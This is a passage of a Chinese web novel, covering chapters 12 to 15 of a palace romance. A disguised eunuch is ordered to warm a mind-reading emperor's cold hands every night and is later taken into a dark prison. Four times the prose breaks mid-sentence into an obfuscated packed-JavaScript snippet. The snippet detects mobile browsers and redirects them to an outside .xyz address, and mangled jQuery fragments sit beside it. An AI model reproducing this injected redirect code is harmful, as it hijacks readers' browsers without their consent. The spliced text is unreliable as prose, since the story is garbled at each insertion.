但现在却完全不行。 一来是因为他每天起得实在太早,二来是因为没有手机真的很无聊,三来则是因为在帝王身边伺候真是一件要命的差事,精神要时刻紧绷,一时一刻都不能松懈,因此这才短短几个月的功夫,千尧对熬夜这种事已经深恶痛绝。 但世上没有后悔药,他再后悔也已经没用。 今日狗皇帝依旧睡得很晚,千尧伺候他洗漱完后便累到瘫坐在他的小垫子上。 值夜的太监有个小垫子,主子睡着之后可以坐着伺候。 皇宫里的宫女太监完全没有人权,几乎从早忙到晚,因此刚一坐下千尧便感觉自己快要睡着。 但又不能真的直接睡过去,他还得隔半个时辰换一次茶水,以防陛下半夜醒来口渴的时候可以有热茶喝。 千尧第一次值夜的在心里骂了这个破规矩一夜。 但到了如今已经有些习惯了,甚至还练就了半个时辰一醒的本领。 于是刚坐到自己的小垫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774925|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上便打起了盹。 眯了差不多半个时辰后千尧迷迷糊糊地睁开眼睛,像往常一样重新换了一壶热的茶水,然后小心翼翼地进了内室想要看看陛下醒了没有?有没有什么需要? 谁知刚走到龙塌前就听里面似乎隐隐传来些什么声音。 千尧听见声音立刻清醒了几分,以为是里面的人在叫他,于是连忙走了过去,掀开龙床上的纱帐。 然而和他想象中的不同,龙床上的帝王并没有醒。 他还在睡着,只是睡得并不安稳,像是陷进了什么梦魇中,面色在暗金色被褥的映衬下显出不正常的白,身体微微蜷在一起,薄薄的唇瓣一张一合,像是在呢喃着什么。 千尧本以为他是想要什么,于是连忙俯身凑了过去,但他的声音实在太小,因此千尧好一会儿才听清。 他说的是,“好冷。” “冷?”千尧有些不解,怎么会冷呢?虽然还没入冬,但寝殿已经烧起了碳火,而且用的是最好的碳,从早到晚都没停过,因此寝殿里说一句温暖如春也不为过。 千尧什么都没盖,坐在小垫子上守夜都没觉得冷,他还盖着这么厚的被子怎么会冷? 但看他的样子又不似作假,难道是生了病? 那他要不要禀告总管太监宣太医? 想到这儿千尧决定还是先确认一下,毕竟要是没事儿,自己贸然行事打扰了狗皇帝休息,以他的脾气说不定会直接砍了自己。 于是千尧用了最直接的判定方法,抬手轻轻摸了摸他的额头,想看看他是不是生了病? 但看起来并没有,一切都很正常,只是他的体温似乎确实比常人要低,摸起来冷冰冰的。 盖着这么厚的被子怎么身上还是这么冷?千尧一时间竟有些分辨不出他到底是生病了还是没生病? 千尧拿不准主意,权衡之后还是决定先不禀报了,毕竟他只是一个小太监,多一事不如少一事。 因此千尧只是帮他掖了掖被角,便准备回去继续睡觉。 谁知刚掖好就见他一只手又伸了出来,千尧见状,连忙想要替他放回去。 然而没想到的是千尧刚碰到他的手就被冰得吓了一跳,这人的手怎么这么冷?有一瞬间千尧还以为碰到了一块冰。 他手上的温度让千尧一时间又犹豫了起来,不知道该不该禀告。 正踟蹰间,千尧突然感觉到了一瞬的寒意自下方传来。 千尧似有所觉,连忙低下了头,然后就见原本还在熟睡的帝王不知何时睁开了眼睛,正望着自己。 千尧见状愣了一下,连忙想要行礼。 然而刚一动作才发现有些不对劲,他低下头,然后就见自己还握着他的手。 12.暖手 冷汗瞬间顺着千尧的后背流了下来。 毕竟帝王疑心最为深重,自己大半夜跑到他床边还握着他的手,怎么看怎么怪异,若是现代或许还能解释,但现在是古代,面前的人是帝王,一般人可不敢触碰龙体。 万一以为他图谋不轨,肯定会杀了自己。 想到这儿千尧连忙想要把他的手放开,然而没想到下一秒却反被握住。 千尧的手不算小,但却能被面前的人整个包住。 他的手实在太冷,千尧的手像是被裹进了一块冰中。 因此下意识想要抽离,然而却没有抽动。 “别动。” 千尧的抗拒很快便被面前的人察觉,但他反而将千尧握得更紧。 千尧低下头,然后就见面前的人正望着自己,虽然屋内只留了几支蜡烛,光线并不算亮,但刚睁开眼依旧会不适应,因此他的眼睛闭了一下才又睁开,目光带着几分刚睡醒的朦胧。 千尧方才感受到的寒意已经不见踪影,似乎只是他的一场错觉而已。 “陛下?”千尧小心翼翼地叫道。 他原本想问一句您是不是不舒服?要不要叫太医? 然而面前的人却没给千尧提问的机会,直接打断了他的话,低声说了句,“很暖和。” 说完便重新睡了过去。 千尧见状有些懵,一时间有些分不清他刚才到底是醒了还是没醒。 但也不敢再惊动他,因此一动也不敢动,只能由他握着自己。 本以为他握一会儿就会松开,然而没想到的是这人即使睡着了也没再放开千尧的手。 千尧趁他睡着后试图把自己的手抽回来,但试了几次都没成功。 最后干脆算了,就这么靠在龙床旁的脚踏上坐下给他暖起了手。 千尧也不知道自己是什么时候睡着的,再次醒来是因为耳边响起了莫存的声音。 “陛下,该起身了。” 千尧听见不是在叫自己,因此并没有理会,继续睡了过去。 只是还没睡多久便意识到了不对劲。 “陛下?” 大脑还没恢复运转,但身体已经先一步苏醒,千尧睁开眼睛,第一反应便是浑身上下都透着说不出的疼意。 整个人僵得根本不能动,好一会儿才缓了过来。 千尧这才发现自己竟然靠在床边睡了一整晚。 身旁已经站了满屋子的宫女太监,千尧愣了一下,终于反应了过来向右看去。 然后就见穿着明黄色寝衣的帝王已经起身,就坐在他的身侧,正好整以暇地望着自己。 手心传来一股说不出的热意,千尧低头看去,这才发现两人的手竟然还牵在一起。 皇帝似乎也是刚意识到了这一点,这才松开了他,缓缓站起身来。 不远处的宫女这才敢过来为他更衣。 千尧见状也从地上爬了起来,只是这么僵坐了一夜,浑身上下的关节仿佛锈住,每一个动作都透着说不出的费力。 陛下醒来是要喝茶的,于是千尧连忙想要去沏一杯茶。 然而刚站起来就见正在更衣的帝王突然叫住了他。 “不必伺候了,回去休息。” 千尧闻言愣了一下,一般都是要换班的人来了他才能回去,今天怎么突然发善心了? 但不管是因为什么,坐着睡了一晚根本没睡好,浑身疼得厉害,千尧觉得自己整个人都快垮了,因此自然不会推拒。 于是千恩万谢地说了声,“多谢陛下。” 然后便转身离开了。 走出寝殿的时候天还是黑的,刚才在寝殿里还没觉得有什么,此时一出来才发现外面竟然这么冷,于是连忙裹了裹衣襟,向太监院走去。 他回到太监院的时候同屋已经起了,见他回来得这么早不免有些惊讶,但因为上面的命令,也没人敢问他。 千尧自然也少了一桩解释的麻烦,一回来便脱了衣服爬上了床,然后裹着自己的被子睡了过去。 这一觉睡得极好。 等他再次醒来时发现竟然已经是傍晚。 即使值夜,一般也只能休息半日,然后就要回去当差,他这样休息一整天并不合规矩,因此千尧本来有些心虚,但一来没有人叫他回去上班,二来总管太监也没苛责,因此千尧便也心安理得地偷了这个懒。 他们每日吃饭都有固定的时间,千尧起得太晚,已经过了吃饭的点,本以为会饿肚子,没想到的是他醒了之后却发现桌上竟然有一个食盒。 千尧见状有些好奇地打开看了一眼,然后就见里面放着两个馒头,两盘炒菜以及一碗热羹。 虽然比不上这些日子被皇帝投喂的饭菜,但和太监院的那些萝卜白菜比已经是不可多得的美食。 这是谁的? 千尧有些好奇,他们屋里竟然还有人能有这种待遇? 虽然这些日子同屋的人并不怎么和他说话,但大家每日朝夕相对,因此千尧自然也知道他们的差事,一个负责洒扫,一个负责烧热水,和他一样都是最普通的太监,按理说应该吃不到这样的饭菜,所以这是? 千尧想不明白也没敢乱动,把食盒的盖子盖回去后就想出门打水洗脸,谁知刚走到门口就见和他同屋的小福子走了进来。 “你醒了。”小福子见他醒了连忙说道。 千尧被这突如其来的热情吓得一愣,毕竟那狗皇帝下过命令,因此这皇宫里除了小穗子外根本没人跟他说话。 小福子这还是第一次主动问他。 虽然有些不明所以,但久违地有人愿意和他说话,因此千尧十分惊喜,连忙点头道:“嗯,我正要去打热水,你要吗?我也帮你一起打。” 千尧原本是想借着这些小事和小福子拉近一些距离,然而没想到的是他听完却是一副受宠若惊的表情,连忙摆了摆手,“不用,不用。” “……好。”千尧被他的反应弄得更加奇怪,但也没说什么,只是冲他笑了笑便准备出去打热水。 然而没想到小福子却主动向他走了过来,“我帮你打吧。” 千尧因他的反应而愣怔了一瞬,一个没注意,手中的盆便被接了过去。 千尧见状只觉得更加懵,怎么睡了一觉整个世界都变了? 很快小福子就替他打回来了热水。 千尧接过水盆后没有急着洗脸,而是想要揭开自己心中的疑问,问问这到底是怎么了?但一时之间却又不知道该从何处问起。 小福子似乎也看出来了什么,问道:“你怎么了?” “啊……就是。” 千尧挠了挠头,干脆先问起了桌上的饭,“这是谁的啊?” “自然是你的。”小福子立刻回道。 “我的?”千尧更加惊讶。 “嗯。傍晚时分安公公送来的。”小福子说到这儿时眼中是说不出的艳羡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780108|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟谁不知道安公公是莫总管的徒弟,而莫总管的一言一行身后都是陛下的心意。 自从千尧来到太监院后大家便知陛下对他的不一般。 毕竟当日乾明殿内血流成河,独独只有他生还,后来还被陛下口谕调至御前。 然而不知为何,明明陛下看起来对他如此看中,却又不许任何人和他靠近。 诚然陛下没这么说过,但底层人有底层人的生存法则,大家近乎心照不宣地这么做,甚至会放大上面人所要求的。 比如莫总管只说不许教他规矩,但大家却不约而同地连话也不与他说。 后来千尧在御前当差,表面看起来和其他人一样,但在御前近身伺候过的都明白陛下对他有多宽容。 奉茶时出错没有罚过,上夜时睡着没有罚过,当值时出神没有罚过…… 如今陛下更是会亲自喂他吃食。 本以为这已是无上的荣宠,没想到他昨日值夜回来后竟然直接倒头睡了一天,不仅没人管束,甚至临近傍晚时安公公还亲自过来了一趟,为他送来了吃食。 小福子看见安公公进来时差点吓傻,连忙行了个礼后便准备去叫还在熟睡中的千尧。 然而还没动作便被安公公阻止,“罢了,他昨日值夜辛苦,不必连起来了。” 说着让身后的一个小太监将一个食盒放下,然后对小福子道:“他醒后记得提醒他吃。” 小福子傻了一下,连忙应了。 锣鼓听声,说话听音,小福子瞬间明白这是允许大家和他说话了,因此这才敢在千尧醒后主动和他攀谈。 千尧听完后也很惊讶,不太明白狗皇帝葫芦里又卖了什么药。 难道是昨晚看他在地上睡了一夜感到愧疚,所以让人送来补偿吗? 这可真是稀奇,他居然还有愧疚这种东西。 但无论什么,只要能给他东西吃都是好人,因此千尧十分痛快地忘记了昨晚因为要给狗皇帝暖手而被迫坐在床边睡了一夜的事情。 千尧睡了一整天,早就饿了,因此见饭菜是给自己的也没有客气。 坐下来便准备吃,只是刚要动筷子,千尧便看见了不远处的小福子不甚明显地咽了咽口水。 对于每天吃糠咽菜的太监们来说,这确实是不可多得的美味,加上菜也够多,因此千尧十分大方地招呼他一起来吃。 小福子一开始还有些不敢,见千尧是真的在让他,这才走过来坐下。 “谢谢。” “不客气。” 千尧说完便又找了双筷子给他,然后两人一起吃了起来,吃完后小福子主动去洗了碗筷,千尧则准备去洗漱。 虽然他睡了一天,但还是困,尤其刚吃饱就更困了,加上他今晚不必值夜,因此准备洗漱完继续睡觉。 然而没想到刚洗漱完,就见一个小太监从门外走了过来。 “千公公。”小太监对他叫道。 宫中还是第一次有人这样叫他,因此千尧刚听到时还有些没有反应过来,等反应过来后立刻感觉到了一阵怪异。 毕竟没有虽然他现在的身份是太监,但也不喜欢被人叫公公。 但现在也不是计较这个的时候,因此千尧只是问道:“找我有事吗?” “是,安公公让我来告诉您,今晚您和别人换班。” “换班?” 千尧还没反应过来,就听小太监解释道:“是,今晚您继续上夜。” 13.要命 千尧听到这个消息内心的第一反应是拒绝的。 毕竟经过昨天晚上,千尧这才发现,原来自己这么讨厌熬夜。 但他再不愿意也得去,毕竟谁让这里是古代,他根本没有拒绝的权力,只是一路上走得十分不情愿,等他磨磨唧唧赶到寝殿的时候天已经黑了。 今日狗皇帝休息得挺早,千尧到的时候他刚沐浴完。 千尧见状瞬间松了一口气,虽然不知道狗皇帝今晚又要怎么折腾自己,但至少不用再像之前那次一样伺候他沐浴。 狗皇帝见他来了,抬眸看了他一眼,然后在床上坐下,对着他道:“茶。” 千尧闻言在心里翻了个白眼,刚来就使唤他。 但心里再不高兴,动作却依旧很快,不一会儿就端着一杯七分烫的茶水走了进来。 狗皇帝接过,却没立刻喝,而是用杯盖轻轻地刮着浮沫,许久才喝了一口,然后就把茶杯递还给了他。 千尧见状更加确定他根本就不是想喝茶,只是单纯想使唤他一下。 但……他又能如何呢? 千尧把茶盏放了回去,心里只期盼着这个祖宗能赶紧睡觉,好让他也能多休息会儿。 没想到一切竟然真的如他所愿,千尧刚想完,他就准备睡了。 明黄色的帷幔被解开,靠近龙床的烛火被宫女们一一撤下,屋内的光线瞬间暗了下来。 千尧见状也准备跟着退出去,然而没想到的是刚一动作,就听狗皇帝又突然开口道:“把椅子上的软垫拿来。” 虽然不明白他要软垫做什么,但千尧还是立刻遵着他的意思去拿了椅子上那张金银丝线绣成的软垫。 本以为他是要靠着,然而没想到的是千尧刚拿到他面前,就听面前的人道:“放到地上。” 千尧闻言还以为自己听错了,因此一时间没敢动作,直到抬头看了一眼,见他的神色不似作假,这才小心翼翼地把手中的软垫放到了床边的地面。 放好之后千尧本想问一下下一步的指示,然而还没等他开口,右手便是一凉,那种熟悉的冷意很快将他包裹,千尧低下头,然后就见狗皇帝的手隔着明黄色的帷幔,像昨晚一样握住了他。 “……陛下?” 千尧有些不解,却不敢躲,因此只是小心翼翼地叫了他一声。 隔着帷幔,千尧看不清他的表情,只能看到他已经躺下。 他似乎很累,声音中透着一丝疲乏,“让我握一会儿。” 千尧闻言,脑海中瞬间浮现起了昨晚听到的那句话。 “很暖和。” 所以这是把他当成人形暖手宝了吗? 但为什么要非要握他的手?这皇宫里应该有很多人愿意让他握着吧。 千尧想了许久也想不明白,干脆不想了,也跟着在软垫上坐下。 虽然没有明说,但这个软垫明显是给他坐的。 不过他并不感激,如果不是狗皇帝非要给自己换班,他现在应该睡的是床,而不是地面。 但事已至此也改变不了什么,因此千尧只能认命。 有了软垫确实好了很多,而且因为被握着手,也不用半个时辰一起来,所以千尧睡得比昨晚上夜时好了一点。 但也只是一点而已,毕竟就算是再软的垫子,坐着睡一夜也不会舒服。 因此千尧一直祈祷狗皇帝只是一时兴起,但第二天一早幻想就狠狠破灭。 第二日卯时刚到,莫总管便来叫陛下起床。 千尧也跟着醒了过来,手被握了一夜,大概是血液不太流通的缘故,已经快没有知觉,缓了半天才恢复了过来。 千尧困得直打盹,满心都在等着狗皇帝让自己回去休息的命令。 好不容易等到了,刚准备谢恩离开,谁知他后面却又加了一句,“今后都由你上夜。” 千尧原本还在犯困,这下一个激灵瞬间清醒了过来。 一句骂人的话差点脱口而出,但最后还是被理智死死拉了回来。 因此最终说出口的还是,“是。” 随即整个人就像是被霜打了的茄子,沮丧得连头都快抬不起来。 千尧的情绪实在太明显,不必听心声岐岸也能看出来,因此故意问道:“不愿意?” 话音刚落,就见小太监这才想起自己的身份一般,连忙摇了摇头,然后挤出一个比哭还难看的笑容来。 “怎么会,能多伺候陛下是奴才的福气。” 岐岸从前最讨厌心口不一,可是看着这样口是心非的小太监却生不出一点的气。 原本还想再逗弄一会儿,但也知道那样坐着一夜绝对睡得不好,终究还是没有忍心,因此只是淡淡道:“回去吧。” “是。” 小太监果然在等他的这句话,刚说完就像是离笼的鸟一般一步不停地退了出去。 - 因为昨天睡了太久,所以千尧其实并不怎么困,只睡了半日就醒了。 醒来的时候桌上依旧放着那个熟悉的食盒。 不过这次不再是安公公送来的,而是膳房的小太监。 小福子说今后他都可以不和大家一起吃饭,会有专人给他送来饭菜。 虽然不用再吃那些萝卜白菜,但想到以后天天都要上夜班,千尧怎么也开心不起来。 这狗皇帝还挺天赋异禀,居然能每天都想出不同的折磨人的法子来。 想到以后可能再也不能在晚上睡个好觉,千尧又冒出了实在不行拼一把,和陆砚洲一起离开这里的想法,但很快理智便又把他拉了回来。 冷静,还是再考虑考虑吧。 因为心中有事,千尧晚上的饭都吃得有些不香了,只吃了几口,剩下的全都给了同屋的小福子和小全子。 小福子看他闷闷不乐的样子,有些好奇地问道:“千尧,你是不是有什么心事?” 千尧简直是满腹的心事,但自然不可能乱说,因此只是摇了摇头。 小福子见状也没有多问,只是宽慰他,一切都会好起来的。 千尧听到这句话心中的苦意更甚。 真的会好起来吗? 今晚依旧是他上夜,刚一到寝殿,千尧便敏锐地察觉到了一丝不同。 他低头看去,然后就见龙床前不知何时被铺上了一层褥子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785225|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那褥子看起来还是新的,里面不知填充了多少棉花,看着很是绵软。 千尧一看便知道这是给自己准备的。 但他并不感到高兴,甚至有些想冷笑,这样的话自己和狗皇帝养的狗到底有什么区别?狗晚上不就这么睡在主人身边的。 万恶的封建社会,还真是一点都不把他当人看。 但无论心中再不情愿,狗皇帝睡觉的时候千尧还是乖乖坐了过去,还把手主动伸了出来。 皇帝刚躺下就看见了枕侧伸过来的手,心情莫名好了些,反手握住。 小太监的手很软,握起来像是捏着一个糯米团,一点也不像是奴才的手。 毕竟只有富贵人家平日里金尊玉贵才养的出来这样十指不沾阳春水的手指。 当然,岐岸也知道他原本就不是什么奴才。 这些日子小太监的过往已经原原本本地被搜罗到了他的面前,因此岐岸很清楚他的一切。 千尧,千家的小公子,后来千家获罪,因为年龄而免于一死,入宫为宦。 从小被捧着长大的公子哥很少能受得住这样的落差,但千小少爷看起来却已经习惯,即使为奴为宦,依旧怡然,哪怕只是吃一块糕点,也能开心一整天,活泼的像是冬日的暖阳一般。 岐岸想到这儿勾了勾唇角,觉得自己的联想十分贴切,他确实有点像太阳,看着便让人忍不住想要靠近取暖。 思及此,岐岸微微加重了手中的力气,然后便感觉到手心处传来源源不断的热意。 岐岸重新睁开眼睛,侧头看去,然后就见小太监正侧坐在地上,一只手递给他取暖,另一只手则撑着自己的下巴,看样子是在发呆。 因为他的动作,袖子顺着胳膊落下,露出一截又白又细的手腕。 小太监手腕处的曲线很好看,像是一笔勾勒而成的水墨画,只是到了腕骨处轻轻顿了一点。 真奇怪,其实也不是只有他的手可用,但不知为何,只有他的接触岐岸不觉得讨厌。 虽然他也知道这样小太监从此便不能再睡个好觉,但有什么关系,不过是一个太监。 想到这儿岐岸重新闭上了眼,可是今日不知为何,却丝毫不觉得困倦。 手心处的那股热意实在太过明显,无时无刻地不在给他昭示着面前人的存在感。 又在发呆,他身边还是第一次有这么爱出神的奴才。 那股奇怪的好奇再次油然而起,令岐岸自己都感到诧异。 不过是一个太监,到底有什么可好奇的。 他现在说不定只是看似发呆,心中应当在骂自己。 为了一个小太监而一次次地忍受疼痛浪费能力实在不是什么明智的事。 但不知为何,岐岸却有些控制不住自己。 很快,熟悉的痛意便从脑海中传来,岐岸有些不适地闭上眼睛。 一边等着这犹如针扎的痛意退去,一边等着窥探小太监的心意。 终于,那道熟悉的声音自耳边传来。 【跑,命不久矣,不跑,感觉也命不久矣。】 【跑还是不跑?真是个要命的问题。】 14.千尧 千尧正在发呆,不知为何,突然感觉到脖颈处莫名生出一股凉意,这让他有些不明所以地转过头来,然后就见原本应该已经睡着的狗皇帝正望着自己。 “陛下,您还没睡吗?” 因为隔着明黄色的帷幔,千尧看不清他的脸,只能看到不甚明亮的烛光下,那双异色的眸子黑红各一点。 被这样盯着实在有些瘆人,千尧不明白狗皇帝又在抽什么风?为什么不理他? 但皇帝有不理人的权力他却没有,因此只能忍着尴尬继续问道:“您要喝茶吗?” “……嗯。” 里面的人终于有了声音,放开了他的手。 千尧闻言像是得了敕令一般连忙起身去倒了一杯茶,自从他不负责上夜的茶水后立刻便有新人顶上,因此他倒茶时茶水的温度依旧不温不烫,刚好可以入口。 千尧捧了茶船来到床边,然而里面却又没了动静。 直到千尧又叫了一声陛下,一只修长手这才掀开了帷幔,接过了他手中的茶盏。 然而端起茶杯后他却没有喝,只是用茶盏轻轻刮着面上的浮沫。 千尧不敢抬头,因此并不知道狗皇帝的所思所想,但却能很明显地感觉到一道目光落在他的身上,不知在打量着什么。 千尧莫名觉得似乎有哪里不对?但又实在想不明白自己到底是哪里错了? 自己刚才一直乖乖给他暖手,连呼吸都不敢大声,生怕吵到他睡觉,所以到底哪里惹他不满了? 就在千尧拼命回顾刚才的一切时,一道声音突然打断了他的思索。 “千尧。”面前的人突然叫道。 千尧闻言,端着茶船的胳膊像是第一次奉茶时的那样突然一颤,好在此时上面没有茶盏,因此并没有茶水洒出,但千尧还是立刻跪了下来。 他也不知道自己为什么要跪,但这还是面前的人第一次叫他的名字,因此千尧不确定他是不是发现了什么事情? 能是什么呢?他是罪臣之后?他是假太监?还是他准备逃跑的事情? 应该……不能吧? 罪臣之后肯定瞒不过去,毕竟随便一查就知道,但自己已经入宫为宦,按理说也没有错处可揪。 因此比较要命的是后两件事,但后两件都是死罪,陆砚洲肯定会慎之又慎,一般情况下应该不会暴露。 想到这儿千尧努力逼着自己冷静下来,竖起耳朵等着他的下文。 然而面前的人简直像是故意一般,把他的一颗心吊的七上八下,许久都没有说话,只是不紧不慢地喝着手中的茶,似乎刚才叫他的名字只是一件一时兴起的事。 两人离得太近,因此千尧不敢再像之前那样抬头去看,只是默默地跪在地上等着他的下一句话,心脏因为他的沉默开始不受控制地狂跳,偌大的内室几乎被他的心跳声填满。 就在千尧几乎快要承受不住的时候,只听“啪”的一声,茶盏被重新放回到了茶船。 紧接着,面前人终于有了声音,“千老太师的孙子。” 千尧一听悬着的心开始晃晃悠悠地颤,这是知道了他的身世? 所以呢?能不能一次性说完?到底是什么意思? 千尧被他的话吊得难受,却又不敢表现出丝毫不满,只是低着头回了句,“是。” “从锦衣玉食的小公子到太监,不难受吗?” 千尧闻言嘴角微动,这人扎心挺有一手。 按理说应该回答不难受,但对于这个答案千尧自己都不相信,更何况面前的人还是皇帝,因此千尧犹豫了片刻,还是回道:“曾经有一点。” “只是一点吗?” “是,能伺候陛下是奴才的……福气。” 千尧用尽全身力气才说出了这么句违心话。 对面不知信了没信,再次沉默了下去。 许久,突然轻笑了一下,“是吗?” “是。”千尧立刻开始表忠心,“陛下赏识奴才,奴才自当万死不辞。” “奴才。”面前的人不知为何突然咬重了这个字,“当奴才这么辛苦,难道不想离开这里?” “自然……” 千尧闻言下意识就想继续表忠心,然而不知为何刚一开口心中便涌起一股说不出的怪异。 为什么会突然问这个问题?是发现了什么吗?按理说不可能,但也总不会是无缘无故地这么问吧? 千尧大脑飞速运转,可是脑中实在太乱,因此停下后久久没有出声,面前的人也没有再继续问下去,两人似乎是不约而同一般沉默了下去,寝殿内瞬间陷入一片寂静。 千尧被他态度弄得七上八下,不知为何总觉得他似乎已经知道了什么,但转念一想又觉得怎么可能,这些日子他和陆砚洲就见过那一次,还避开了所有的耳目,因此他怎么可能知道,又不是自己肚子里的蛔虫。 那到底为什么会突然这么问呢? 周围实在太过安静,空气似乎突然如有实质一般凝固在一起,使得千尧的呼吸开始变得艰涩不已。 终于,千尧再也忍不住,偷偷抬头看了一眼。 然后就见年轻的帝王端坐于床边,一只手垂在腿侧,另一只手不知为何轻抵着太阳穴,正面无表情地望着自己。 - 因为狗皇帝那个莫名其妙的问题,千尧一晚上都没有睡好。 昨天虽然跪在他面前表了许久的忠心,但也不知道他到底信了没信。 不过他昨晚也没有再继续问下去,所以自己应该是蒙混过去了吧。 千尧有些不确定,因此一晚上格外心虚。 第二天甚至莫存还没来叫陛下起床就已经先一步醒了过来。 他睁开眼时狗皇帝还没醒,自己的手依旧被他握着,已经快没有知觉,但千尧依旧不敢乱动,直到他醒过来,这才把手抽了出去。 接下来就是和往日一样的更衣,洗漱。 往日里千尧已经在等着他让自己回去睡觉的命令,但因为昨晚的事,千尧今日很是乖觉,默默地退到角落里,观察着不远处帝王的神情。 可是这人喜怒不形于色惯了,千尧什么也看不出。 最后甚至还被他发现了自己的偷看,吓得千尧连忙把头低了下去。 “回去吧。” “是。” 千尧听到这句话终于松了口气,连忙向外走去。 一切都和平日里一样,所以昨晚应该就是一时兴起。 可能就是刚好知道了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787730|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身世,所以才问了一句。 其实这么问也正常,毕竟皇帝大都生性多疑,一个罪臣之后日夜在身边伺候自然会感到不安心,毕竟古代真发生过宫人刺杀皇帝的事,所以他可能只是想试探一下自己老不老实。 毕竟要是真的发现了什么,以狗皇帝性子,自己的头应该已经不在头顶。 想通了之后千尧一颗心放下了不少,连回去的脚步都轻快了些许。 因为昨晚没睡好的缘故,千尧补了整整一天的觉。 再次醒来已经是傍晚。 因为睡得太久,千尧有些懵,洗了把脸这才清醒了些,然后又想起了昨晚的事情。 虽然昨晚什么也没发生,然而不知道是不是被狗皇帝折腾怕了,现在想到上夜千尧便感到一阵莫名的恐惧。 但又不能不去,因此千尧上夜的脚步很是沉重。 可是无论再不情愿,千尧还是按照往常的时间来到皇帝的寝殿。 然而今日和往常不同,他到的时候寝殿内依旧灯火通明。 狗皇帝穿戴整齐,正站在窗下的鸟笼前喂鸟。 他不开口说就寝,自然没有人敢乱动,千尧也不外如是,默默站在不远处的角落里。 不知站了多久,直到腿都快麻了,不远处的帝王这才终于喂够了一般放下了手中的鸟食。 莫总管见状连忙上前一步,问道:“陛下,可要安置?” “不急。” 狗皇帝说完不知为何突然抬步向外走去,其余的宫女太监见状也连忙跟了出去。 千尧虽然有些不明所以,但自然也得跟上。 虽然不明白狗皇帝为什么大晚上的不睡觉突然往外跑,但他的想法从来不重要,跟着就行。 殿外很冷,夜风寒凉,犹如刺骨刀一般无孔不入,狠狠扎进裸露在外的皮肤里,千尧被冻得连忙把手缩回了袖子里。 莫总管立刻着人拿了一件大氅想要给陛下披上,但被他摆手拒绝。 千尧觉得今晚的皇帝很怪,却又不知道怪在哪里。 只能跟着他一步步向前走去。 这里的皇宫很大,虽然已经来了有些日子,但千尧连十分之一都没走完。 因为实在太大,所以帝王出行多乘轿撵,可是今晚他却没有,只是闲庭信步,像是漫无目的一般向前走去。 不知是否已提前通传过,他们所行之处一人也没有,只有随行的侍卫和宫人随侍。 暗红色的宫墙像是已经干涸的血,明黄色的烛光迎风跳动,映照着投在墙上的倒影,使周围的一切显得影影幢幢。 似乎又降温了,千尧只觉得更冷。 他到底是要去哪儿? 千尧看着不远处皇帝的背影,心中的不安越来越重。 不知走了多久,面前的人终于停了下来。 所有的宫人紧随其后停下脚步,低眉垂目,只有千尧悄悄抬起了头。 然后就看到面前是一扇紧闭的,深红色的大门。 大门两旁立着身着黑衣的侍卫。 侍卫们见状,连忙迎上前来,跪下行礼接驾。 千尧则偷偷抬头看了一眼面前的牌匾。 然后就见上书两个暗金色的大字:暗狱。 15.听话 面前的暗狱和千尧从前在电视剧里看过的大牢一点也不一样。 没有窗户,没有铁门,甚至没有看见犯人,有的只是一望无际的黑暗和两边厚重到不正常的墙壁。 两边的墙看起来已经有了年头,但有些地方却沾染着明显新鲜的血迹,甚至还有零零散散的血手印。 千尧不敢想那是怎么留下来的,连忙收回目光,继续跟着向前走去。 两侧的过道很窄,堪堪只够两个人并行,且没有灯,全靠侍卫提灯照明。 不知是不是没有窗户的缘故,里面的空气极为浑浊,又沉又闷,还有一股无法摒除的血腥气,哪怕千尧捂住口鼻,也无法阻挡一星半点,只能尽量减少呼吸。 面前的通道一路向下,弯弯曲曲,像是进了什么迷宫,走起来永无止尽。 越往前走空气越稀薄,千尧很快便觉得有些喘不过气。 他实在不明白狗皇帝为什么大半夜要来这里?还单独挑他跟着,但又不敢违逆他的命令,只能硬着头皮跟着他们继续向前走去。 还没走几步,就听“咣”的一声,有什么声音在他脚边响起。 千尧吓得差点跳起来,连忙低头看去,这才发现脚下竟有一扇还不到他小腿高的铁窗,里面黑乎乎的,似乎有什么东西。 